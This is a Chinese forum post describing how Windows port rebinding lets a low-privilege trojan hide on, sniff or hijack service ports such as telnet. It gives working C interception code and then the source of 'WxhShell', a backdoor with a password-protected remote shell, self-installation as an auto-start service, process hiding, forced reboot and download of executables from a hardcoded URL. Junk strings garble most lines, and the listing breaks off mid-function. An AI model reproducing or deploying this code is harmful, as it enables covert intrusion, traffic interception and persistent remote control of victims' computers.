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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cBU3Q<^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cXr_,>k  
3qDbfO[  
  saddr.sin_family = AF_INET; ``@e7~F{  
)>iPx.hVSS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bj_/  
Z.rhM[*+0C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >z% WW&Z'  
c+O:n:L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I]pz3!On4,  
|Ho} D~  
  这意味着什么?意味着可以进行如下的攻击: &' y}L'  
RSw; b.t7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7osHKO<?2  
g5x>}@ONq7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @3U=kO(^+\  
?k@;,l :s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MX+gc$Y O  
?(}~[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h&!$ `)   
^&c &5S}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~fzuz'"^  
TN08 ,:k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <^W5UU#Pg  
vIZFI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lS!O(NzqE'  
_Kh8 <$h  
  #include mtw{7 E  
  #include IJ:JH=8  
  #include EN,}[^Z  
  #include    -zzT:C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6(Ntt  
  int main() nQg_1+  
  { \ NKw,`/  
  WORD wVersionRequested; Q )8I(*  
  DWORD ret; uu>R)iTQ%S  
  WSADATA wsaData; ; 0M"T[c  
  BOOL val; >66 `hZ  
  SOCKADDR_IN saddr; znIS2{p/`  
  SOCKADDR_IN scaddr; )wdd"*hv  
  int err;  ;<%th  
  SOCKET s; ~LP5hL  
  SOCKET sc; %F}d'TPx  
  int caddsize; F ^m;xy  
  HANDLE mt; Um*&S.y  
  DWORD tid;   S0LaQ<9.  
  wVersionRequested = MAKEWORD( 2, 2 ); NQcg}y  
  err = WSAStartup( wVersionRequested, &wsaData ); FJ{&R Ld  
  if ( err != 0 ) { hx4c`fOs  
  printf("error!WSAStartup failed!\n"); I SdB5Va  
  return -1; Im]6-#(9\|  
  } 6['o^>\}f  
  saddr.sin_family = AF_INET; S/l6c P  
   #>sI XY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g; 7u-nP  
tDMNpl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5dbj{r)s6i  
  saddr.sin_port = htons(23); ov >5+"q)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K(P.i^k  
  { w02C1oGfx  
  printf("error!socket failed!\n"); ^oClf(  
  return -1; IP)%y%ycw  
  } 2 i NZz  
  val = TRUE; K `A8N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X/m~^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]*Kv[%r07c  
  { 9oG)\M.6w  
  printf("error!setsockopt failed!\n"); \6aisK  
  return -1; 8]bLp  
  } h2i1w^f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #)iPvV'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 CT'#~~QB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XPnHi@x  
!!cN4X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NK:! U  
  { eax"AmO  
  ret=GetLastError(); Y n0iu$;n  
  printf("error!bind failed!\n"); :-(qqC:  
  return -1; .SNg2.  
  } EW+QVu@  
  listen(s,2); >t%@)]*N  
  while(1) rfr]bq5  
  { 9w=[}<E  
  caddsize = sizeof(scaddr); _g'x=VJF  
  //接受连接请求 A\13*4:;l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +wI<w|!  
  if(sc!=INVALID_SOCKET) o,@ (]e~  
  { Q-1 Xgw!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); aY6F4,7/B  
  if(mt==NULL) *55unc  
  { n8`WU3&  
  printf("Thread Creat Failed!\n"); -MFePpUt  
  break; e_cK#9+  
  } _sY; dS/  
  } &)_ z!  
  CloseHandle(mt); 1y,/|Y  
  } 3UUN@Tx  
  closesocket(s); "^Y zHq6  
  WSACleanup(); P'*Fd3B#A=  
  return 0; uH[:R vC0  
  }   7 y$a=+D i  
  DWORD WINAPI ClientThread(LPVOID lpParam) J@#rOOu  
  { @Qp#Tg<'  
  SOCKET ss = (SOCKET)lpParam; Gi*_ &  
  SOCKET sc; Hxleh><c-  
  unsigned char buf[4096]; K6|R ;r5e{  
  SOCKADDR_IN saddr; 8NTE`l=>/  
  long num; =F %lx[9Ye  
  DWORD val; rd)W+W9  
  DWORD ret; u1\r:q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #Jr4LQ@A9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O{Z${TC[  
  saddr.sin_family = AF_INET; ;82?ACCP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wzBI<0]z  
  saddr.sin_port = htons(23); QGE0pWL-a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8# x7q>?  
  { \0&F'V  
  printf("error!socket failed!\n"); Sl@Ucc31  
  return -1; O=^/58(m  
  } )lq+Gv[%F  
  val = 100; q1m{G1W n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^`Hb7A(  
  { aK 3'u   
  ret = GetLastError(); 77ztDQDtM  
  return -1; Ds#BfP7a  
  } |IS$Om  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F07X9s44E  
  { IFhS(3 YK[  
  ret = GetLastError(); c@J@*.q]   
  return -1; ~@#a*="  
  } ~R50-O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z\woTL6D]  
  { HV*;Yt  
  printf("error!socket connect failed!\n"); &y(%d 7@/  
  closesocket(sc); bR8`Y(=F9b  
  closesocket(ss); NOKU2d4 G  
  return -1; yqB!0) <  
  } dcyHp>\)|  
  while(1) 9PMIF9"   
  { |--Jd$ dj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qwO@>wQ}~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 q%dbx:y#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?-)v{4{s  
  num = recv(ss,buf,4096,0); P%N)]b<c*  
  if(num>0) X; 6=WqJj  
  send(sc,buf,num,0); ,i8%qm8  
  else if(num==0) B&6lG!K'?  
  break; vhcp[=e :  
  num = recv(sc,buf,4096,0); M}Xf<:g)  
  if(num>0) (NN;1{DB8  
  send(ss,buf,num,0); 4IvT}Us#+  
  else if(num==0) n 8 K6m(  
  break; h_SkX@"/-  
  } II!~"-WH  
  closesocket(ss); =G" ney2  
  closesocket(sc); vu#ZLq  
  return 0 ; +w"?q'SnF  
  } oYt 34@{?  
mrr~#Bb>  
1vtC4`  
========================================================== r4<aEj;l  
0m"Ni:KEf  
下边附上一个代码,,WXhSHELL `#vbV/sM  
Hmnxm gx  
========================================================== {^1''  
'$?!>HN4  
#include "stdafx.h" .J O1kt  
j#Tl\S!m.I  
#include <stdio.h> )a x>*  
#include <string.h> /?($W|9+l  
#include <windows.h> [m%]C  
#include <winsock2.h> y*6/VSRkt4  
#include <winsvc.h> "?<h,Hvi  
#include <urlmon.h> c*(^:#"9  
0/9]T Ic  
#pragma comment (lib, "Ws2_32.lib") ivyaGAF}+o  
#pragma comment (lib, "urlmon.lib") QodWUbi'&  
YPf?  
#define MAX_USER   100 // 最大客户端连接数 `b%lojT.  
#define BUF_SOCK   200 // sock buffer R<(xWH  
#define KEY_BUFF   255 // 输入 buffer 4 Tw~4b  
>[;=c0(  
#define REBOOT     0   // 重启 $*T?}r>  
#define SHUTDOWN   1   // 关机 C,GZ  
t,IOq[Vtk  
#define DEF_PORT   5000 // 监听端口 }lT;?|n:h  
.{} 8mFi1  
#define REG_LEN     16   // 注册表键长度 qZ&~&f|>e  
#define SVC_LEN     80   // NT服务名长度 v^vi *c  
@BF1X.4-+  
// 从dll定义API KROD(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |"I)1[7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yMTO5~U{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S(?A3 H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [[zN Aq)"  
_SJ:|I  
// wxhshell配置信息 Jazgn5  
struct WSCFG { A.dbb'^  
  int ws_port;         // 监听端口 'W yWO^Bdk  
  char ws_passstr[REG_LEN]; // 口令 R&a$w8  
  int ws_autoins;       // 安装标记, 1=yes 0=no {]Hv*{ ]  
  char ws_regname[REG_LEN]; // 注册表键名 /-G_0 A2wF  
  char ws_svcname[REG_LEN]; // 服务名 9dBxCdpu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,&qC R sw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eZN"t~\rX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "H<us?r{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f-71`Pyb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qh(X7B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FROC/'  
PP>6  
}; K,$rG%c zX  
n|LpM.  
// default Wxhshell configuration A`ajsZ{q,  
struct WSCFG wscfg={DEF_PORT, -]H~D4ng  
    "xuhuanlingzhe", "aCAA#$J  
    1, 7B (%2  
    "Wxhshell", x +pf@?w  
    "Wxhshell", 2\QsF,@`YU  
            "WxhShell Service", Dfa3&# #{  
    "Wrsky Windows CmdShell Service", ?%}!_F`h%  
    "Please Input Your Password: ", #/f~LTE  
  1, .V?[<}OJn  
  "http://www.wrsky.com/wxhshell.exe", 8/BMFRJ  
  "Wxhshell.exe" pDSNI2  
    }; D fzsA4  
\6JOBR  
// 消息定义模块 UL{J%Ze=~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xq&BL,lS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 46Sz#^y P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {G VA4=UAE  
char *msg_ws_ext="\n\rExit."; ]| +M0:2?  
char *msg_ws_end="\n\rQuit."; 9|#cjHf  
char *msg_ws_boot="\n\rReboot..."; 3m` >D e  
char *msg_ws_poff="\n\rShutdown..."; ~IS8DW$;  
char *msg_ws_down="\n\rSave to "; fyA-*)oHv  
~"CGur P  
char *msg_ws_err="\n\rErr!"; }Mt1C~{(  
char *msg_ws_ok="\n\rOK!"; _gI1rXI  
C5,fX-2Q  
char ExeFile[MAX_PATH]; \ '4~@  
int nUser = 0; p2{7+m  
HANDLE handles[MAX_USER]; u0 t lf  
int OsIsNt; gJ'pwSA  
%dFJ'[jDL  
SERVICE_STATUS       serviceStatus; Qop,~yK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E<[ s+iX  
}|Mwv $`  
// 函数声明 *_o(~5w-K  
int Install(void); kzDN(_<1  
int Uninstall(void); 'in%Gii  
int DownloadFile(char *sURL, SOCKET wsh); v#d\YV{I  
int Boot(int flag); %gh#gH   
void HideProc(void); N}K [Q=  
int GetOsVer(void); hEQyaDD;  
int Wxhshell(SOCKET wsl); ~<m^  
void TalkWithClient(void *cs); r~j [Qm"CJ  
int CmdShell(SOCKET sock); DylO;+  
int StartFromService(void); wG3b{0  
int StartWxhshell(LPSTR lpCmdLine); =abcLrf2G  
yXJ25Axb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DfD >hf/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2!Dz9m3  
!S#3mT-  
// 数据结构和表定义 4JAz{aw'b  
SERVICE_TABLE_ENTRY DispatchTable[] = . : Wf>:  
{ {_-kwg{"(  
{wscfg.ws_svcname, NTServiceMain}, uK2HtRY1  
{NULL, NULL} {E:`  
}; gM\>{ihM'  
D=TS IJ@  
// 自我安装 SG&,o =I$  
int Install(void) ir_XU/ve  
{ $`E?=L`$  
  char svExeFile[MAX_PATH]; q[,p#uJ]  
  HKEY key; yu6{6 [  
  strcpy(svExeFile,ExeFile); O -1O@:}c  
d-D,Gx]>$  
// 如果是win9x系统,修改注册表设为自启动 yx :^*/  
if(!OsIsNt) { fY[Fwjj3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (?7=,A7^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^w60AqR8  
  RegCloseKey(key); HcsV q+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L7-BuW}&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1 :p'  
  RegCloseKey(key); ew~Z/ A   
  return 0; oS fr5 i  
    } c\{N:S>  
  } ` kT\V'  
} +[!S[KE  
else { S\g9 @g.  
I'4(Ibl+  
// 如果是NT以上系统,安装为系统服务 zjQ746<&)i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 73;Y(uh9  
if (schSCManager!=0) Q[biy{(b8  
{ L 0fe  
  SC_HANDLE schService = CreateService rx1u*L  
  ( 9&n9J^3L  
  schSCManager, J:yv82  
  wscfg.ws_svcname, [a2]_]E%  
  wscfg.ws_svcdisp, b>; ?{  
  SERVICE_ALL_ACCESS, | ys5.|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H5}61JC/z  
  SERVICE_AUTO_START, 9\_AB.Z:  
  SERVICE_ERROR_NORMAL, /?'~`4!(  
  svExeFile, ("2X8(3z  
  NULL, M:/NW-:  
  NULL, ws'e  
  NULL, .Vbd-jr'M  
  NULL, n1."Qix0  
  NULL .SD-6GVD  
  ); .\R9tt}  
  if (schService!=0) h0tiWHw  
  { PR%)3  
  CloseServiceHandle(schService);  '"B  
  CloseServiceHandle(schSCManager); MJXnAIG?2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6]brL.eGj  
  strcat(svExeFile,wscfg.ws_svcname); e*7O!Z=O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >G6kF!V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IA2VesHb  
  RegCloseKey(key); \,Y .5?  
  return 0; 8G:/f3B=  
    } msBoInhI  
  } MzIDeZ  
  CloseServiceHandle(schSCManager); EN!C5/M{&  
} 41X`.  
} qVC+q8  
E>bkEm  
return 1; 5whW>T  
} pU7;!u:c4%  
lL)f-8DX  
// 自我卸载 \sNgs#{7E7  
int Uninstall(void) /ox7$|Jyr  
{ NUV">i.(  
  HKEY key; n n7LL+h  
Q,KNZxT,q  
if(!OsIsNt) { 6!\V|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ywwA,9~  
  RegDeleteValue(key,wscfg.ws_regname); uy {O   
  RegCloseKey(key); A8'RM F1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^Arv6kD,  
  RegDeleteValue(key,wscfg.ws_regname); `MI\/oM@  
  RegCloseKey(key); ET}Z>vU}+  
  return 0; 1K Fd ~U  
  } LYD iqOrx  
} wL0[Slf}  
} {`!6w>w0  
else { \3JCFor/  
;'S,JGpvT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3FiK/8mu  
if (schSCManager!=0) /vSGmW-*  
{  d$$5&a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q} e#L6cM  
  if (schService!=0) v"k ? e  
  { ^*ZaqMA  
  if(DeleteService(schService)!=0) { :uCwWv   
  CloseServiceHandle(schService); EO!,rB7I  
  CloseServiceHandle(schSCManager); w6vbYPCN  
  return 0; KuJ)alD;1  
  } }4C_r'd6  
  CloseServiceHandle(schService);  S_P&Fv  
  } <=.6Z*x+  
  CloseServiceHandle(schSCManager); <2pp6je\0s  
} 6Z_V,LD9L  
} a|t~&\@  
:nIMZRJ_!E  
return 1; h#YO;m2wd  
} RTmp$lV  
NXOXN]=c<  
// 从指定url下载文件 %~Yo{4mHs  
int DownloadFile(char *sURL, SOCKET wsh) ;Nn(  
{ v9f+ {Y%-  
  HRESULT hr; )L b` 4B  
char seps[]= "/"; dmF=8nff  
char *token; q;e b  
char *file; #/YS  
char myURL[MAX_PATH]; kLgkUck8]  
char myFILE[MAX_PATH]; T?1BcY  
c(Dp`f,  
strcpy(myURL,sURL); n #X~"|U`  
  token=strtok(myURL,seps); 4/(#masIL  
  while(token!=NULL) eo]nkyYDP  
  { A%D 'Z85 -  
    file=token; !aT:0m$:9c  
  token=strtok(NULL,seps); "@G[:(BoB<  
  } { )qr3-EM#  
2y`h'z  
GetCurrentDirectory(MAX_PATH,myFILE); IW\^-LI.  
strcat(myFILE, "\\"); _[6sr7H!  
strcat(myFILE, file); 3yx[*'e$  
  send(wsh,myFILE,strlen(myFILE),0); ljbAfd  
send(wsh,"...",3,0); 1V2]@VQF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |=q~X}DA  
  if(hr==S_OK) w9|x{B  
return 0; c+FTt(\8.  
else .n7@$kq  
return 1; s{^B98d+W  
tD.#*.7  
} QM(xMq  
38w^=" -T  
// 系统电源模块 }d. X2?  
int Boot(int flag) YoKE=ln7  
{ i9ySD  
  HANDLE hToken; B#g~c<4<  
  TOKEN_PRIVILEGES tkp; 0qN`-0Yk  
_mm(W=KiL  
  if(OsIsNt) { yY8zTWji_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qz@_"wm[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KYiJXE[Q-  
    tkp.PrivilegeCount = 1; EDnNS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z6`0Uv~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -E}X`?WhD  
if(flag==REBOOT) {  /b=C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;^N lq3N  
  return 0; #da{3>z:  
} 9 dNB _  
else { gAqK/9;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 63E6nW M  
  return 0; $#rkvG_w  
} qm=U<'b^  
  } h3`}{ w  
  else { ,>B11Z}PH  
if(flag==REBOOT) { l,o'J%<%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3jZGO9ttnS  
  return 0; Mxl;Im]!`.  
} :)lS9<Y}  
else { ]T)N{"&N/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HO<|EH~lu  
  return 0; I(M/ X/  
} 336ETrG^0  
} T`e`nQ0nn  
9n(68|^$  
return 1; v? ."`,e  
} V0^{Ss1M  
C+' -TLeu  
// win9x进程隐藏模块 ^}P94(oz  
void HideProc(void) (7qlp*8.s  
{ nXn@|J&z~U  
3(oMASf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AFi_P\X  
  if ( hKernel != NULL ) J$6WUz:?  
  { Z]B v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P^OmJ;""D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }-fHS;/  
    FreeLibrary(hKernel); BWxfY^,'&6  
  } :6Z2@9.}w  
+6uf6&.@~  
return; )h@PRDI_  
} /xUF@%rT  
Q\4tzb]  
// 获取操作系统版本 {}s/p9F4  
int GetOsVer(void) A l?%[-u  
{ %?[gBf[y  
  OSVERSIONINFO winfo; c!E{fSP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *+rfRH]a  
  GetVersionEx(&winfo); AO5&Y.A#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |tAkv  
  return 1; P;.roD9  
  else s4|tWfZ  
  return 0; 9`Qa/Y!  
} z I2DQ] 9  
R3G\Gchd  
// 客户端句柄模块 0U7Gl9~  
int Wxhshell(SOCKET wsl) [~8U],?1  
{ 'd2 :a2C]  
  SOCKET wsh; <TVJ9l  
  struct sockaddr_in client; ;j9%D`u<  
  DWORD myID; *OA(v^@tx7  
6CFnE7TQf  
  while(nUser<MAX_USER) nFJW\B&(`  
{ 2,:{ 5]Q$  
  int nSize=sizeof(client); BI%^7\HZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {#kCqjWG  
  if(wsh==INVALID_SOCKET) return 1; QKjn/%l"@  
GeJ}myD O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s'yR 2JYv  
if(handles[nUser]==0) 2Vti|@JYp  
  closesocket(wsh); Jk%5Fw0  
else C&yZ`[K  
  nUser++; -F?97&G$  
  } q;[HUyY,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $9?:P}$v  
CF>&mXg\  
  return 0; * sldv  
} curYD~7  
x'0_lf</ #  
// 关闭 socket >/74u/&  
void CloseIt(SOCKET wsh) rA ={;`  
{ se.HA  
closesocket(wsh); A5j? Yts  
nUser--; J&j5@  
ExitThread(0); by+xK~>  
} LilK6K  
gIrbOMQ7  
// 客户端请求句柄 WSMpX -^e@  
void TalkWithClient(void *cs) B9|s`o)!  
{ Sj I,v+  
Pd+*syOM  
  SOCKET wsh=(SOCKET)cs; ^ oav-R&  
  char pwd[SVC_LEN]; z00X ?F  
  char cmd[KEY_BUFF]; ~IYR&GEaUG  
char chr[1]; {XIpH r  
int i,j; *` mxv0w~(  
cO]w*Hti  
  while (nUser < MAX_USER) { rmggP(  
2pmj*Y3"8  
if(wscfg.ws_passstr) { K&&T:'=/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3ibQbk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {X<g93  
  //ZeroMemory(pwd,KEY_BUFF); j5DCc,s  
      i=0; G>"n6v'^d  
  while(i<SVC_LEN) { 8o+:|V~X  
hdWVvN  
  // 设置超时 <lR:^M[v5<  
  fd_set FdRead; {J)%6eL?  
  struct timeval TimeOut; 2OpA1$n6  
  FD_ZERO(&FdRead); sSfP.R  
  FD_SET(wsh,&FdRead); L~f~XgQ  
  TimeOut.tv_sec=8; 7 q!==P=  
  TimeOut.tv_usec=0; $(gL#"T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7zx xO|p[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d`TiY`!  
/:]<z6R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U\Y0v.11  
  pwd=chr[0]; L+G0/G}O\  
  if(chr[0]==0xd || chr[0]==0xa) { I(AlRh  
  pwd=0; ZxSnqbyA*  
  break; QDW,e]A  
  } TgjjwcO Y  
  i++; 5eL b/,R  
    } Y2tVq})!  
QuEX|h,F  
  // 如果是非法用户,关闭 socket C9?mxa*z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EVLL,x.~:z  
} w0;4O)H$O  
;`^_9 K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x2t&Wpvt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sN8pwRjb  
##BbR  
while(1) { D N)o|p  
wbJBGT{sm  
  ZeroMemory(cmd,KEY_BUFF); `Y.~eE  
 &lU\9  
      // 自动支持客户端 telnet标准   q#AIN`H  
  j=0; 9]Ue%%vM  
  while(j<KEY_BUFF) { S'^ q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;o'r@4^&$R  
  cmd[j]=chr[0]; CyLwCS{V\  
  if(chr[0]==0xa || chr[0]==0xd) { d+G%\qpzQ  
  cmd[j]=0; @:RoYvk$  
  break; Dqo#+_v  
  } X+sKG5nS  
  j++; m5 sW68  
    }  ?;v\wx  
?o.d FKUe  
  // 下载文件 N$e mS  
  if(strstr(cmd,"http://")) { %\,9S`0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _BA; H+M  
  if(DownloadFile(cmd,wsh)) LI@BB:)[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #8M?y*<I  
  else  :QP1!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~}j+~  
  } )EB+(c~E  
  else { vu@.;-2E%  
'fl.&"/r  
    switch(cmd[0]) { Bk3\NPa  
  Pb;c:HeI/  
  // 帮助 7'e sJ)2  
  case '?': { E,tdn#_|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `B"sy8}x  
    break; "~r)_Ko  
  } , d $"`W2  
  // 安装 Nc(CGl:  
  case 'i': { mST8+R@S  
    if(Install()) C{m%]jKH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [u!n=ev  
    else ?2#'>B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y>w;'QR&a  
    break; &~+QPnI>Pm  
    } VO eVS&}  
  // 卸载 n"RV!{&  
  case 'r': { ;PC!  
    if(Uninstall()) "P#1=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dfzj/spFV  
    else J)n_u),  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r@C~_LgL)  
    break; UJh;Hp:  
    } 1xEOYM)  
  // 显示 wxhshell 所在路径 =q]!"yU[d  
  case 'p': { }R 16WY_'  
    char svExeFile[MAX_PATH]; ;6``t+]q   
    strcpy(svExeFile,"\n\r"); Z6${nUX  
      strcat(svExeFile,ExeFile); kd!?N  
        send(wsh,svExeFile,strlen(svExeFile),0); #0T/^ #  
    break; FHU6o910  
    } L~t< 0\r  
  // 重启 hZHM5J~  
  case 'b': { -_Z4)"k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %gO/mj3*  
    if(Boot(REBOOT)) 1N(1h D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;<Z6Y3>I8  
    else { 7Q&-ObW  
    closesocket(wsh); +Mijio  
    ExitThread(0); ou-UR5  
    } l90"1I A  
    break; 2rT^OGw6  
    } wjl)yo$z  
  // 关机 Q*T 'tkp  
  case 'd': { <skqq+  
